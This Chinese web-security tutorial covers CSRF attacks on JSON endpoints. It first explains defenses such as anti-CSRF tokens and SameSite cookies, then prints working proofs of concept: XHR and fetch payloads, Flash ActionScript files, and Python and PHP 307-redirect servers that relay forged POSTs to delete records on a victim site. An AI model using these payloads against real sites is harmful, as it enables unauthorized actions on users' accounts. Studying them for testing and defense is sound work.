一, CSRF 漏洞简介
csrf 漏洞的成因就是网站的 cookie 在浏览器中不会过期, 只要不关闭浏览器或者退出登录, 那以后只要是访问这个网站, 都会默认你已经登录的状态. 而在这个期间, 攻击者发送了构造好的 csrf 脚本或包含 csrf 脚本的链接, 可能会执行一些用户不想做的功能(比如是添加账号等). 这个操作不是用户真正想要执行的.
在 post 标准化格式 (accounts=test&password=aaa) 的表单页面中, 在没有 csrf 防护的前提下, 我们能很轻松地构造页面来实现攻击, 但是在 JSON 格式下, csrf 攻击怎么实现呢?
那我们为何不能使用这个常规构造的 PoC 来利用 JSON 端点中的 CSRF 呢? 原因如下:
1,POSTbody 需要以 JSON 格式发送, 而这种格式如果用 html 表单元素来构建的话会比较麻烦.
2,Content-Type 头需要设置为 application/JSON. 设置自定义 Header 需要使用 XMLHttpRequests, 而它还会向服务器端发送 OPTIONS 预检请求.
1.1 防御方案
关于防御方案, 一般有如下几种:
1)用户操作验证, 在提交数据时需要输入验证码
2)请求来源验证, 验证请求来源的 referer
3)表单 token 验证
现在业界对 CSRF 的防御, 一致的做法是使用一个 Token(Anti CSRF Token).
这个 Token 的值必须是随机的, 不可预测的. 由于 Token 的存在, 攻击者无法再构造一个带有合法 Token 的请求实施 CSRF 攻击. 另外使用 Token 时应注意 Token 的保密性, 尽量把敏感操作由 GET 改为 POST, 以 form 或 Ajax 形式提交, 避免 Token 泄露.
例子:
第一步: 用户访问某个表单页面.
第二步: 服务端生成一个 Token, 放在用户的 Session 中, 或者浏览器的 Cookie 中.
第三步: 在页面表单附带上 Token 参数.
第四步: 用户提交请求后, 服务端验证表单中的 Token 是否与用户 Session(或 Cookies)中的 Token 一致, 一致为合法请求, 不是则非法请求.
4) 在前后端分离的前提下 (例如使用 Ajax 提交数据) 设置不了 token, 可以给 cookie 新增 SameSite 属性, 通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie, 不能作为第三方 cookie), 既然不能作为第三方 cookie , 那么别的网站发起第三方请求时, 第三方网站是收不到这个被标记关键 cookie, 后面的鉴权处理就好办了. 这一切都不需要做 token 生命周期的管理, 也不用担心 Referer 会丢失或被中途被篡改.
SameStie 有两个值: Strict 和 Lax:
SameSite=Strict 严格模式, 使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求), 都不能作为第三方 cookie.
SameSite=Lax 宽松模式, 使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下, 都不能作为第三方 cookie.
那么 Strict 和 Lax 的如何使用呢?
登录态关键的 cookie 都可以设置为 Strict.
后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie , 设置为 Lax , 这样的话对外推广比如微博什么的, 你希望用户在微博上打开你的链接还能保持登录态.
如果你的页面有可能被第三方网站去 iframe 或有接口需要做 JSONP , 那么都不能设置 Strict 或 Lax.
二, 不验证 CONTENT-TYPE 的情况
如果服务端没有校验 Content-Type, 或者没有严格校验 Content-Type 是否为 application/JSON, 我们可以使用 XHR 来实现 csrf,poc 如下:
- <HTML>
- <head>
- <script style="text/javascript">
- function submitRequest()
- {
- var xhr = new XMLHttpRequest();
- xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
- xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
- xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
- xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
- xhr.withCredentials = true;
- xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":" 天津市 ","city":" 天津市 ","region":" 和 q 区 ","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
- }
- </script>
- </head>
- <body>
- <form action="#">
- <input type="button" value="Submit request" onClick="submitRequest()"/>
- </form>
- </body>
- </HTML>
三, 验证 CONTENT-TYPE 的情况
当然了, 使用 XMLHttpRequest,fetch 能构造出 JSON 请求, 并且能设置 Content-Type, 但是无法跨域.
fetch 发起的请求代码:
- <HTML>
- <title>JSON CSRF POC</title>
- <script>
- fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
- </script>
- </form>
- </HTML>
我们可以利用 Flash 的跨域与 307 跳转来绕过 http 自定义头限制, 307 跟其他 3XX HTTP 状态码之间的区别就在于, HTTP 307 可以确保重定向请求发送之后, 请求方法和请求主体不会发生任何改变. HTTP 307 会将 POST body 和 HTTP 头重定向到我们所指定的最终 URL, 并完成攻击.
3.1 创建 flash 文件
为了创建能够发送 web 请求的 csrf.swf 文件, 我们需要按照以下步骤操作:
安装 FlexSDK 将 ActionScript 编译为 swf 文件. Flex 需要安装 32 位的 JVM, 这一步可以安装 32 位 JDK 来完成.
创建一个包含下列 ActionScript 代码的 text 文件, 文件名为 csrf.as.
获取托管 Flash 文件的主机系统(攻击者的服务器)IP 地址 / 域名, 并替换掉代码中的.
运行 "mxmlc csrf.as" 命令, 将该文件编译为 csrf.swf.
3.2 创建 Web 服务器
1, 使用 python 作为服务器(此方法不推荐):
先创建 as 文件, 用上述步骤编译:
- package
- {
- import flash.display.Sprite;
- import flash.NET.URLLoader;
- import flash.NET.URLRequest;
- import flash.NET.URLRequestHeader;
- import flash.NET.URLRequestMethod;
- public class csrf extends Sprite
- {
- public function csrf()
- {
- super();
- var member1:Object = null;
- var myJson:String = null;
- member1 = new Object();
- member1 ={"id":102};
- var myData:Object = member1;
- myJson = JSON.stringify(myData);
- myJson = JSON.stringify(myData);
- var url:String = "http://172.16.11.110:8000/";
- var request:URLRequest = new URLRequest(url);
- request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
- request.data = myJson;
- request.method = URLRequestMethod.POST;
- var urlLoader:URLLoader = new URLLoader();
- try
- {
- urlLoader.load(request);
- return;
- }
- catch(e:Error)
- {
- trace(e);
- return;
- }
- }
- }
- }
借助 GitHub 上的 JSON-flash-csrf-poc https://github.com/appsecco/json-flash-csrf-poc , 我们可以生成一个简单的 python Web 服务器
- pyserver.py:
- import BaseHTTPServer
- import time
- import sys
- HOST = ''
- PORT = 8000
- class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
- def do_POST(s):
- # dir(s)
- if s.path == '/csrf.swf':
- s.send_response(200)
- s.send_header("Content-Type","application/x-shockwave-flash")
- s.end_headers()
- s.wfile.write(open("csrf.swf", "rb").read())
- return
- s.send_response(307)
- s.send_header("Location", "https://victim-site/userdelete")
- s.end_headers()
- def do_GET(s):
- print(s.path)
- s.do_POST()
- if __name__ == '__main__':
- server_class = BaseHTTPServer.HTTPServer
- httpd = server_class((HOST, PORT), RedirectHandler)
- print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
- try:
- httpd.serve_forever()
- except KeyboardInterrupt:
- pass
- httpd.server_close()
- print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
2, 使用 apache 的 PHP 页面作为服务端(首选方法):
我们也可以使用 PHP 来作为 307 跳转的服务端, 参考 GitHub 上的 swf_json_csrf https://github.com/sp1d3r/swf_json_csrf .
- csrf.as:
- package
- {
- import flash.display.Sprite;
- import flash.NET.URLLoader;
- import flash.NET.URLRequest;
- import flash.NET.URLRequestHeader;
- import flash.NET.URLRequestMethod;
- public class csrf extends Sprite
- {
- public function csrf()
- {
- super();
- var myJson:String = this.root.loaderInfo.parameters.jsonData;
- var url:String = this.root.loaderInfo.parameters.php_url;
- var endpoint:String = this.root.loaderInfo.parameters.endpoint;
- var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
- var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
- request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
- request.data = myJson;
- request.method = URLRequestMethod.POST;
- var urlLoader:URLLoader = new URLLoader();
- try
- {
- urlLoader.load(request);
- return;
- }
- catch(e:Error)
- {
- trace(e);
- return;
- }
- }
- }
- }
- 307.PHP:
- <?PHP
- $victim_url = $_GET['endpoint'];
- header("Location: $victim_url", true, 307)
- ?>
最后使用的 poc 是:
http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json
四, 更进一步探索
当访问最后的 POC, 过程如下:
1, 受害者访问 POC, 向 attacter.com 发起一条 swf 请求, swf 向 307.PHP 发送 HTTP POST 请求.
2,attacter.com 的 307.PHP 发起 307 跳转, 跳转到 victim.com, 注意 307 跳转会带着 http 请求方式, header 和 postdata 进行跳转.
3,victim.com 收到一条 POST 请求, 并且 Content-Type 为 application/JSON.
4,victim.com 收到一条 / crossdomain.xml 请求. 由于第三步优先第四步执行, 导致跨域. 并且 victim.com 能收到 crossdomain.xml 请求, 也证明了第三步的 POST 请求是 Flash 发出, 而不是 307.PHP 发出. 因为 307.PHP 单独发出的 post 请求不会主动请求 crossdomain.xml.
我们知道, 服务器 A 的 Flash 如果要向 B 发起一条 HTTP 请求, 会先请求服务器 B 的 crossdomain.xml 文件, 判断是否能跨域, 如果文件没有, 或者 xml 文件设置不能跨域, 则不能跨域.
既然可以设置 Content-Type, 那么能设置 Referer 吗. 如果能, 那验证 Referer 的 CSRF 岂不都能绕过?
其实 Flash 的 Header 存在一个黑名单, 黑名单列表的头不允许设置, 其中就有 Referer. 不能设置的头标如下:
Accept-Charset,Accept-Encoding,Accept-Ranges,Age,Allow,Allowed,Authorization,Charge-To,Connect,Connection,Content-Length,Content-Location,Content-Range,Cookie,Date,Delete,ETag,Expect,Get,Head,Host,Keep-Alive,Last-Modified,Location,Max-Forwards,Options,Post,Proxy-Authenticate,Proxy-Authorization,Proxy-Connection,Public,Put,Range,Referer,Request-Range,Retry-After,Server,TE,Trace,Trailer,Transfer-Encoding,Upgrade,URI,User-Agent,Vary,Via,Warning,WWW-Authenticate 和 x-flash-version.
五, 实际测试效果
这种 flash+307 跳转攻击方法只能在旧版浏览器适用, 在 2018 年后更新版本的几乎所有浏览器, 307 跳转的时候并没有把 Content-Type 传过去而导致 csrf 攻击失败. 所以还望寻找一种新的攻击方法, 本文的 JSON csrf 攻击方法仅仅是作为一种记录, 在某些情况下还是能用到的.
参考链接
Exploiting JSON CSRF https://www.secpulse.com/archives/61297.html
如何在 JSON 端点上利用 CSRF 漏洞 https://www.freebuf.com/articles/web/164234.html
来源: http://www.tuicool.com/articles/RNr6naY